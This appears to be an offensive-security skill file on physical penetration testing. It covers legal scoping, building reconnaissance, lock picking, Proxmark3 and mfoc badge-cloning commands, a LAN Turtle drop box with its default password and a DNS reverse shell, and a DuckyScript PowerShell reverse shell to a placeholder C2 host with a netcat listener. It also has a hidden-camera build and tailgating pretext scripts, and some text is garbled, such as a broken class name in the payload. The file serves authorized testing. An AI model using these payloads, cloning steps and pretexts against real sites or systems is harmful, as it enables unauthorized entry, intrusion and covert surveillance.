Physical Security Testing

Skill: Physical Security Testing

Supplementary Files:

• payloads.md — Legal/scope templates (TrustedSec physical-docs), lock picking payloads (pin-tubular/wafer/dimple/bump), bypass tool usage (shove knife, under-door, crash bar tape), Proxmark3/ESP-RFID-Tool/Walrus badge cloning, Mifare/HID iCLASS high-freq duplication, LAN Turtle/Packet Squirrel drop boxes, Rubber Ducky/Bash Bunny USB weapon payloads, hidden camera concealment, on-site engagement ops scripts, tailgating pretext prep, exit & evidence handling, and a quick-reference cheat sheet
• test-cases.md — 12 structured test cases (legal scope review, pin-tumbler pick, RFID 125kHz clone, Mifare Classic clone, HID iCLASS decode, LAN Turtle drop box deploy, Rubber Ducky payload, network implant concealment, hidden camera placement, on-site recon, tailgating pretext, exit/evidence) with severity levels and summary tables
• guides/physical-security-testing-playbook.md — End-to-end on-site engagement playbook (pre-flight authorization, 5-phase workflow, entry-vector decision matrix, guard/employee interaction rules, evidence chain-of-custody, integration with adjacent skills)

Summary

Physical security testing covers the on-site operations that gain physical access to a target facility — lock picking, badge cloning, drop-box deployment, USB-weapon delivery, hidden-camera placement, and the social engineering that gets a human through the door. This skill is the physical-access complement to radio and firmware skills: where bluetooth-rfid-nfc analyzes the wireless protocol and hardware-security analyzes chips and firmware, this skill asks "how do I get through the door?"

Tools: Proxmark3, ESP-RFID-Tool, Walrus, Hak5 LAN Turtle, Hak5 Packet Squirrel, USB Rubber Ducky, Bash Bunny, P4wnP1, lock pick set, bump keys, under-door tool, shove knife, hidden cameras.

Domain: physical

MITRE ATT&CK: TA0001-Initial Access (physical), T1192-Hardware Additions, T1366-Physical Security Bypass

Description

Physical penetration testing across the full on-site engagement lifecycle: legal scope and authorization (TrustedSec physical-docs templates), pre-engagement reconnaissance (building layout, badge vendor, guard rotation), entry-vector selection (locks vs badges vs USB vs implants vs social), mechanical bypass (pin-tubular, tubular, wafer, dimple; bump keys; shove knife; under-door tool; crash bar tape), radio credential cloning (125 kHz HID Prox/Indala via Proxmark3/ESP-RFID-Tool/Walrus; 13.56 MHz Mifare Classic/DESFire and HID iCLASS via Proxmark3), drop-box deployment (LAN Turtle, Packet Squirrel, Pi Zero W implants) for persistent network access once inside, USB-weapon delivery (Rubber Ducky, Bash Bunny, P4wnP1) for attacker-controlled keystroke injection, hidden camera/audio placement for situational awareness during multi-day engagements, and the social engineering pretexts that turn a locked door into an open one.

This is the access side of the physical+radio stack. Where bluetooth-rfid-nfc analyzes BLE/RFID/NFC protocols and sdr-rf-attack covers broad RF replay, this skill focuses on the operational question: "what credential do I need, how do I clone it, and how do I use it to enter the facility?" Where hardware-security looks at JTAG/UART/firmware extraction, this skill looks at the doors, locks, and readers those devices physically protect.

Difference from bluetooth-rfid-nfc: That skill covers BLE/RFID/NFC radio analysis (sniffing, protocol fuzzing, decryption). This skill brings the physical-access perspective — cloning a 125 kHz HID Prox card to bypass a door reader, duping an HID iCLASS credential for after-hours entry, and the on-site operational discipline (concealment, guard avoidance, evidence handling) that radio work alone doesn't address.

Difference from hardware-security: That skill targets JTAG/UART/SPI/I2C and firmware extraction. This skill targets the perimeter — locks, badges, drop boxes, USB weapons — the access paths that get an operator in front of the hardware in the first place.

Difference from social-engineering: That skill covers human manipulation (phishing, vishing, pretext). This skill includes physical-world social engineering — tailgating pretexts, badge impersonation, delivery-driver pretexts — but only as one of five entry vectors. Mechanical and electronic bypass are the primary focus.

Difference from sdr-rf-attack: That skill covers broad RF replay (garage doors, keyfobs, alarms). This skill covers badge cloning as an on-site access operation, including reader reconnaissance, credential capture at the reader, and the legal/operational framing that pure RF replay doesn't require.

Use Cases

• Authorized facility penetration test: Execute a scoped physical pentest — attempt badge cloning, lock bypass, and drop-box deployment against the client's headquarters or data center, documenting every access path and reporting remediation.
• Badge system audit (defensive): Audit a deployed badge system for cloning susceptibility — test HID Prox (no authentication, trivially cloned), Mifare Classic (CRYPTO1 broken), and report upgrade paths to Mifare DESFire EV2/EV3 or HID iCLASS SE.
• Drop-box deployment for red team: Once physical access is achieved, deploy a LAN Turtle or Packet Squirrel inside the target facility to establish persistent VPN pivot for the rest of the red team engagement.
• USB weapon delivery: Deliver a Rubber Ducky or Bash Bunny payload to an unattended workstation inside the target facility (e.g., extraction of credentials or beacon deployment) during a physical engagement.
• DEF CON / Red Team physical CTF: Practice lock picking, badge cloning, and on-site recon in a competition environment — Schuyler Towne content, DEF CON Physical Security Village, Red Team Village events.
• Insider-threat physical simulation: With authorization, test whether an attacker with a single insider's badge (cloned or borrowed) can reach a sensitive area (server room, executive floor) — measure time-to-detection.
• Building security assessment: Evaluate the physical controls of a new facility before the client moves in — lock types, reader placement, camera coverage, guard patrol coverage, CPTED (Crime Prevention Through Environmental Design) review.
• After-hours access testing: Verify whether badge readers enforce time-of-day restrictions, whether door-forced-open alarms fire correctly, and whether guard response meets the contracted SLA.
• Hidden camera detection sweep (defensive): TSCM (Technical Surveillance Counter-Measures) — sweep a client's executive suite or SCIF for hidden cameras, audio bugs, and unauthorized network implants.
• Executive protection rehearsal: Pre-engagement recon of a venue before an executive event — map entry points, identify choke points, document reader vendors and camera coverage.

Core Tools

Lock Bypass & Mechanical

RFID / NFC Cloning

Drop Boxes & Network Implants

USB Weapons

Cameras / Audio / Concealment

Recon & OSINT (Physical)

Methodology

On-Site Engagement Six-Phase Process

Phase 1            Phase 2          Phase 3              Phase 4          Phase 5            Phase 6
Scope & Legal  →   Pre-Engagement →  Entry Vector      →  Execution &   →  On-Site Ops &   →  Exit &
                   Recon            Selection              Access           Persistence          Evidence
   │                  │                  │                  │                  │                  │
   ▼                  ▼                  ▼                  ▼                  ▼                  ▼
Contract, ROE,   Building map,    Locks / badges /   Clone badge or    Deploy drop      Reverse tools
get-out-of-jail  badge vendor,    USB / implants /   pick lock;        box, implant      through flow,
card, ID badges  guard cadence,   social — pick     document time     USB, hidden       chain-of-custody
for all ops      camera coverage  lowest-risk        of entry          cameras; pivots   on evidence,
                                                                                           report

Phase 1: Scope & Legal (NO EXCEPTIONS)

Physical pentest is the highest-risk skill in this workspace. A misread scope clause is a felony. Get this in writing first, always.

• Engagement contract: signed scope, dates, target addresses, prohibited areas (HR, executive residences, data center colocation cages owned by a third party).
• Authorization letter ("get-out-of-jail card"): client contact name, 24/7 phone, scope summary, engagement dates — carry on every operator at all times; produce immediately if confronted by security or law enforcement.
• Rules of engagement (ROE): prohibited actions (no breaking glass, no picking locks on emergency exits, no social engineering against minors, no decoy devices left after engagement).
• TrustedSec physical-docs templates: use the community-maintained templates as a baseline; have legal counsel review and customize.
• Local law review: lock pick possession is regulated (see "Legal by jurisdiction" in payloads.md). The UK, Japan, and several US states (California, Nevada) restrict possession without a credential.
• Insurance: verify the engagement is covered by both the client's and the consultancy's insurance.

Phase 2: Pre-Engagement Recon

Passive OSINT first, then a walk-by recon pass before any active operation.

• Building layout: satellite imagery, Google Street View, public floor plans (real-estate listings, building permits).
• Badge vendor identification: LinkedIn photos, conference videos, job postings ("experience with Lenel OnGuard / HID Origo / AMAG Symmetry").
• Reader vendor on-site: walk-by recon — HID iCLASS SE readers are blue/white, Symmetry readers are grey, Lenel OnGuard readers are typically black with a side LED.
• Camera coverage: identify camera vendors (Axis, Hikvision, Dahua), placement (entry, exits, loading dock), and blind spots.
• Guard patrol cadence: walk-by at multiple times of day; log guard rounds; note shift changes.
• Employee behavior: badge-tap behavior (do they tailgate?), smoking break patterns, shift change at reception.
• After-hours activity: cleaning crews, HVAC contractors, IT staff on late shifts — these are pretexts for after-hours entry.

Phase 3: Entry Vector Selection

Score each entry vector against probability of success, time-to-entry, detectability, and reversibility. Pick the lowest-risk path.

Rule: try the lowest-detectability, lowest-reversibility-risk vector first. A successful badge clone leaves the badge holder unaware; a successful lock pick leaves no evidence; a successful tailgate leaves no artifact at all. USB weapons and drop boxes are highest-impact but highest-detectability — reserve for after entry is already achieved.

Phase 4: Execution & Access

Document everything: timestamps, before/after photos, any deviation from the plan. Wear body cameras (with consent of the client) for after-action review.

• Badge clone execution: capture the credential (sniff or borrow), clone to a writable card or Proxmark3 simulation mode, walk to the door, tap, enter.
• Lock picking execution: approach the door outside camera coverage (if possible); pick; enter; re-lock from inside if available; document.
• Tailgating execution: stage at a smoking area or loading dock; wait for an employee with a badge; follow at conversational distance; thank them at the door ("thanks — left my badge in the car"); produce badge / pretend to tap if challenged.
• USB weapon execution: locate unattended workstation (after-hours); insert Bash Bunny / Rubber Ducky; wait for payload completion (LED indicator); remove; leave no other artifacts.

Phase 5: On-Site Ops & Persistence

Once inside, the goal shifts to situational awareness, lateral movement, and persistent access.

• Situational awareness: deploy a hidden camera at a choke point (break room, elevator lobby) to track guard rounds for the duration of the engagement.
• Drop-box deployment: plug a LAN Turtle into an unattended PC's USB port or a wall network jack; verify Cloud C2 check-in before leaving the area.
• Network implant concealment: place a Pi Zero W behind a server rack, inside a cable tray, or inside a wall plate; verify reverse-SSH tunnel back to the consultancy.
• Lateral movement: from the drop box, scan the internal network, harvest credentials, pivot to higher-value targets (see post-exploitation, ad-ldap-attack skills).
• Anti-forensics: minimize footprint; clear logs only with client authorization; document what was changed for the report.

Phase 6: Exit & Evidence

The exit is as operationally sensitive as the entry. A botched exit burns the engagement.

• Reverse the tools: re-lock picked doors, return cloned badges to their storage location, retrieve hidden cameras and drop boxes, remove USB weapons.
• Reverse the persistence: tear down reverse-SSH tunnels, clear Cloud C2 entries, sanitize implanted devices.
• Evidence chain-of-custody: every action timestamped; every artifact (cloned badge, picked lock, deployed implant) photographed before-and-after; chain-of-custody form completed.
• Hand-off: deliver the report with timeline, evidence pack, and remediation recommendations. Keep the evidence pack for the contracted retention period; then securely destroy (shred -uvz for digital; physical destruction for cloned badges).

Quick Selection Guide

Defense Perspective

Practical Steps

Detailed payloads in payloads.md, complete test checklist in test-cases.md.

Exercise 1: Scope & Legal Pre-Flight

Goal: produce the engagement contract, ROE, and authorization letter before any operational activity.

# Step 1: Start from TrustedSec physical-docs templates (community-maintained)
git clone https://github.com/trustedsec/physical-docs.git
cd physical-docs
ls templates/   # contract, ROE, authorization-letter, after-action report

# Step 2: Customize for this engagement
# - Replace [CLIENT], [ADDRESS], [DATES] placeholders
# - Have client legal sign the contract
# - Print the authorization letter on client letterhead, signed by an officer
# - Verify client contact's 24/7 phone number

# Step 3: Jurisdiction check for lock pick possession
# - California: possession without locksmith credential is a misdemeanor (Penal Code 466)
# - Nevada: possession with intent to commit burglary
# - UK: Locks and Safes (Restriction on Sale) Act, restricts certain tools
# - Japan: completely prohibited
# Verify local law BEFORE traveling with tools

# Step 4: Insurance verification
# - Confirm the engagement is covered under your E&O (errors and omissions) policy
# - Confirm the client's general liability covers on-site consultants

# Step 5: Operator briefing
# - Every operator carries a copy of the authorization letter
# - Every operator has the client 24/7 contact saved in phone
# - Every operator knows the engagement exit criteria (e.g., "stop if a guard draws")

Exercise 2: Pre-Engagement Building Recon

Goal: produce a recon pack with building layout, badge vendor, camera coverage, and guard cadence.

# Step 1: Satellite and Street View imagery
# - Google Maps satellite view: identify entrances, loading dock, parking
# - Street View: identify reader vendor on outside doors, camera placement
# - Save screenshots with timestamps

# Step 2: Badge vendor OSINT
# - LinkedIn search for "<client>" employees with badge photos visible
# - Job postings for "<client> security": experience with which vendor?
#   - "Lenel OnGuard" → Lenel S2 (blue reader LED)
#   - "HID Origo / iCLASS SE" → HID (white reader body)
#   - "AMAG Symmetry" → AMAG (grey reader body)
#   - "Software House C-CURE 9000" → Tyco/Johnson Controls
# - Document the inferred vendor and verify on-site

# Step 3: Walk-by recon (ON PUBLIC PROPERTY — never enter without authorization)
# - Walk past the main entrance and loading dock at 8am, noon, 5pm, 10pm
# - Log: reader vendor (visual confirmation), badge design (color, vendor logo),
#   camera coverage (count and placement), guard rotation (shift change times),
#   employee tailgating behavior (count tailgaters per 10 minute window)
# - Take notes only; no photos of badge designs (could be mistaken for surveillance)

# Step 4: Public records
# - County/city building permits: search for "<client> security install"
# - Recent camera upgrades? New access control vendor? Document.

# Step 5: Recon pack output
cat > recon_pack.md <<EOF
# Recon Pack: <CLIENT>, <ADDRESS>
## Engagement window: <START> to <END>

## Building layout
- Main entrance: <location>, readers: <vendor>, cameras: <count>
- Loading dock: <location>, ...
- Side entrances: <list>

## Inferred badge vendor
- LinkedIn photo evidence: <url>  → vendor: <inferred>
- Job posting evidence: <url>  → vendor: <inferred>

## Camera coverage
- Entrance: <vendor>, placement: <description>
- Blind spots identified: <list>

## Guard cadence
- Shift change: <times>
- Patrol route: <description>
- Response time observed: <estimate>
EOF

Exercise 3: RFID 125 kHz Badge Clone (HID Prox)

Goal: clone an HID Prox (125 kHz) badge to a writable card or to Proxmark3 simulation mode.

# Step 1: Power on Proxmark3 and connect via USB
sudo apt install -y proxmark3
ls /dev/ttyACM*   # Proxmark3 enumerates as /dev/ttyACM0

# Step 2: Drop into Proxmark3 client
pm3

# Step 3: Search low-frequency (125 kHz) tags in the field
pm3> lf search
# Expected output:
#   NOTE: some demods / possibly incorrect data
#   HIDI  HID Prox (Old)  Tag ID: 12345  Format: HID 26-bit
#   Facility: 17  Card: 12345  Raw: ...

# Step 4: Read HID specifically and save to a dictionary
pm3> lf hid read
pm3> lf hid save my_hid.dic

# Step 5: Clone to a writable T5577 card (place T5577 on the antenna)
pm3> lf hid clone --hid 2006e85f3e   # use the value from step 4
#   Writing to T5577 tag ... success

# Step 6: OR simulate the badge from Proxmark3 (leave antenna near the reader)
pm3> lf hid sim --hid 2006e85f3e
#   Simulating HID Prox tag ... (Ctrl-C to stop)

# Step 7: Verify at the door
# - Walk to the door with the cloned T5577 or simulated Proxmark3
# - Tap; reader LED should turn green; door should unlock
# - Note the timestamp for the engagement timeline

# ALTERNATIVE: ESP-RFID-Tool (portable, no laptop required)
# Power on, place original badge on the reader, press READ
# Place T5577 blank on the reader, press WRITE
# Verify at the door — same result

# ALTERNATIVE: Walrus (smartphone-based, Mifare / iCLASS only — NOT HID Prox)
# Walrus is for 13.56 MHz NFC; use Proxmark3 or ESP-RFID-Tool for 125 kHz

Exercise 4: NFC 13.56 MHz Mifare Classic Clone

Goal: clone a Mifare Classic card (CRYPTO1 — broken since 2008).

# Step 1: Proxmark3 high-frequency search
pm3> hf search
# Expected output:
#   Valid ISO14443A Tag Found - ATQA: 00 04  SAK: 01 [NXP MIFARE CLASSIC 1K | MIFARE Classic]
#   UID: 04 A3 2B 1F
#   Possible types: MIFARE CLASSIC 1K

# Step 2: Automated Mifare Classic key recovery (autopwn)
pm3> hf mf autopwn
#   This tries default keys, nested attacks, hardnested
#   Recovers all sector keys; saves to a dictionary

# Step 3: Dump the card (all sectors with recovered keys)
pm3> hf mf dump
#   Saving dump file hf-mf-04A32B1F-dump.bin
#   Saving keys file hf-mf-04A32B1F-key.bin

# Step 4: Clone to a "magic" UID-writable Mifare Classic card
pm3> hf mf cload hf-mf-04A32B1F-dump.bin
#   Magic UID card detected, writing ... success

# Step 5: Verify at the door

# ALTERNATIVE: ACR122U + mfoc (laptop, USB NFC reader)
sudo apt install -y mfoc
# Place original card on ACR122U
mfoc -O original.mfd -k 000000000000 -k FFFFFFFFFFFF -k A0A1A2A3A4A5 -k D3F7D3F7D3F7
# Place magic UID card
nfc-mfclassic W a original.mfd

Exercise 5: HID iCLASS Cloning (With Key)

Goal: clone an HID iCLASS credential (more secure than HID Prox — requires system key).

# HID iCLASS uses a proprietary encryption; default system keys leaked years ago
# Standard keys: 0x... (see Proxmark3 iclass dictionary)

# Step 1: Proxmark3 search and identify iCLASS
pm3> hf search
#   Valid ISO15693 / iCLASS Tag Found
#   HID iCLASS
#   CSN: 12 34 56 78 9A BC DE F0

# Step 2: Read iCLASS with the leaked standard key
pm3> hf iclass read --csn 12345678 9ABCDE F0 --key <standard_iclass_key>

# Step 3: iCLASS legacy vs SE
# - Legacy: 26-bit Wiegand, same as HID Prox; trivially clonable
# - iCLASS SE / SEOS: mutual auth; cloning requires the system key; SEOS uses DESFire EV2

# Step 4: Clone to a writable iCLASS card (Q5 / iCLASS clone card)
pm3> hf iclass clone --csn 12345678 9ABCDE F0

# Step 5: For iCLASS SEOS (newer deployments), cloning is materially harder
# - Report SEOS deployment as "low cloning risk" in the engagement report
# - Recommend against Prox and Classic for any new deployment

Exercise 6: Drop-Box Deployment (LAN Turtle)

Goal: deploy a LAN Turtle for persistent network access inside the target.

# Step 1: Pre-configure the LAN Turtle before engagement
# - SSH to LAN Turtle on its management interface (default 192.168.1.1)
ssh root@192.168.1.1   # default password: sh3llz

# Step 2: Configure Cloud C2 for out-of-band C2
# - Sign up for Hak5 Cloud C2 community edition
# - Generate a device-claim URL
# - On the Turtle:
#   CONFIG SYSTEM C2 ADD URL=<claim_url>

# Step 3: Configure the Turtle's runtime payloads
#   - AUTOSHARK: continuous tcpdump capture
#   - DNSCAT: DNS-tunneled reverse shell (evades most egress filtering)
#   - URLS: SSH URL redirect (acts as a pivot point)

# Step 4: At the engagement site, locate a target network jack
# - Best: unused jack in an office or conference room
# - Alternative: USB port on an always-on workstation

# Step 25: Plug in the Turtle; verify Cloud C2 check-in (takes ~30 seconds)
# - Cloud C2 dashboard shows the device online
# - From C2, you can SSH into the Turtle, run tcpdump, pivot into the network

# Step 6: Document the deployment location and time for the engagement timeline

# Step 7: At engagement end, retrieve the Turtle
# - Cloud C2: DEVICE > RETIRE
# - Physically remove from the jack
# - Document retrieval time

Exercise 7: USB Rubber Ducky Payload

Goal: deliver a reverse-shell payload to an unattended workstation.

# Step 1: Write the DuckyScript payload (ducky_reverse_shell.txt)
cat > ducky_reverse_shell.txt <<'EOF'
REM Title: Reverse shell for physical engagement
REM Author: kali-claw / physical-security-testing
REM Target: Windows 10/11 with PowerShell
REM Mode: HID injection

DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -Exec Bypass
DELAY 500
ENTER
DELAY 2000
STRING $c = New-Object System.Net.Sockets.TCPClient('<C2_IP>',4444);
STRING $s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
STRING while(($i = $s.Read($b,0,$b.Length)) -ne 0){
STRING   $d = (New-Object Text.APSI.ASCIIEncoding).GetString($b,0,$i);
STRING   $o = (iex $d 2>&1 | Out-String);
STRING   $s.Write(([text.encoding]::ASCII.GetBytes($o)),0,$o.Length)
STRING }
ENTER

# Step 2: Encode to inject.bin
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
cd USB-Rubber-Ducky/Encoder
java -jar duckencode.jar -i ../../ducky_reverse_shell.txt -o ../../inject.bin

# Step 3: Copy inject.bin to a microSD card
sudo dd if=inject.bin of=/dev/sdX bs=1M   # replace /dev/sdX with the microSD

# Step 4: Insert microSD into the Rubber Ducky
# Plug the Ducky into the target workstation
# Wait for the LED to indicate payload completion (~5-10 seconds)
# Remove the Ducky

# Step 5: Verify the C2 listener
nc -lvnp 4444
#   Connect to [C2_IP] from (TARGET) 4444?  yes!
#   Microsoft Windows [Version 10.0.19045.4291]
#   (c) Microsoft Corporation. All rights reserved.
#   C:\Users\<user>\>

# Step 6: Document for the engagement timeline
# - Time of insertion
# - Time of payload completion
# - Time of reverse-shell establishment
# - Time of USB removal
# - Workstation asset tag and location

Exercise 8: Lock Picking (Pin-Tumbler, Commercial)

Goal: open a commercial pin-tumbler lock (Kwikset, Schlage) using a hook and tension wrench.

This is a physical skill — no code. The flow:

1. Apply light tension (bottom of keyway, light clockwise rotation)
2. Insert hook pick at the back of the keyway
3. Rake or single-pin pick:
   - Rake (top of keyway, scrubbing motion): faster, less skill, works on lower belts
   - Single-pin pick (feel each pin, set each to shear line): slower, more reliable
4. Feel for pin clicks; pins "set" with a small click and slight rotation of the core
5. When all pins are at the shear line, the core rotates fully; the lock opens
6. Re-lock from the inside if possible; otherwise pick closed behind you

Equipment:
- Tension wrench (0.025" or 0.018" thickness)
- Hook pick (medium or short hook)
- Rake pick (city rake or bogota)
- Practice locks (transparent, then progressively harder)

Legal: possession of lock picks is regulated in many jurisdictions.
Verify local law before traveling with picks.

Exercise 9: Hidden Camera Placement

Goal: deploy a hidden camera at a choke point for situational awareness during a multi-day engagement.

# Step 1: Build a Pi Zero W camera (pre-engagement)
# Hardware:
#   - Raspberry Pi Zero W
#   - Pi Camera V2 (or NoIR for low-light)
#   - 5000mAh battery (8-12 hour runtime)
#   - Cellular modem (for off-grid uplink) OR pre-configured WiFi

# Step 2: Software
sudo apt install -y fswebcam
cat > /home/pi/capture.sh <<'EOF'
#!/bin/bash
while true; do
  fswebcam -r 1280x720 --no-banner /home/pi/captures/$(date +%Y%m%d_%H%M%S).jpg
  sleep 60
done
EOF
chmod +x /home/pi/capture.sh

# Auto-start on boot
sudo crontab -e
#   @reboot /home/pi/capture.sh &

# Step 3: Pre-engagement test (24-hour soak)
#   Verify battery life; verify image quality; verify off-site upload

# Step 4: On-site deployment (during engagement)
#   - Place at a choke point: break room, elevator lobby, hallway corner
#   - Conceal: in a plant, on a bookshelf, behind a clock
#   - Document placement (photo) for retrieval at engagement end

# Step 5: Off-site monitoring
#   Cellular uplink: images stream to a cloud bucket
#   Operator reviews feed every 30 minutes for guard rounds

# Step 6: Retrieval
#   Document retrieval; securely wipe the SD card
#   shred -uvz /home/pi/captures/*

Exercise 10: Tailgating Pretext Prep

Goal: prepare a pretext and rehearse the tailgating entry.

# Step 1: Choose a pretext
#   Options (lowest-risk first):
#   - "I left my badge in my car" + follow an employee through a door
#   - Delivery driver (Amazon/FedEx/food delivery) with a clipboard and box
#   - HVAC / IT contractor with a tool bag (matches observed after-hours contractors)
#   - New employee on first day (matches LinkedIn announcements)
#   - Pizza delivery (classic — most employees will hold the door for pizza)

# Step 2: Match pretext to recon observations
#   - Did you see HVAC vans at the loading dock? HVAC contractor pretext.
#   - Did you see Amazon deliveries? Delivery driver pretext.
#   - Did you observe multiple employees tailgating already? "Badge forgot" pretext.

# Step 3: Wardrobe and props
#   - Match the client's dress code (suit if formal; khakis if casual)
#   - Carry a clipboard with a fake work order (delivery pretext)
#   - Carry a tool bag (contractor pretext)
#   - NO visible lock picks, NO exposed Proxmark3, NO cameras on your person

# Step 4: Pretext script
#   - 15-second greeting (natural; not over-rehearsed)
#   - Plausible reason to enter (delivery, contractor, new employee, forgot badge)
#   - Graceful exit if challenged ("Oh, I'll just go check in at reception")

# Step 5: Rehearse with the engagement team
#   - Roleplay the tailgating scenario with a teammate
#   - Practice what to say if challenged by an employee
#   - Practice what to say if challenged by a guard (produce authorization letter)

# Step 6: Abort criteria
#   - If challenged and pretext fails, leave immediately
#   - If a guard draws or escalates, stop, produce authorization letter, call client contact
#   - NEVER escalate; this is the highest-risk moment in the engagement

Exercise 11: Exit & Evidence Chain-of-Custody

Goal: cleanly reverse the engagement and document evidence with chain-of-custody.

…(truncated)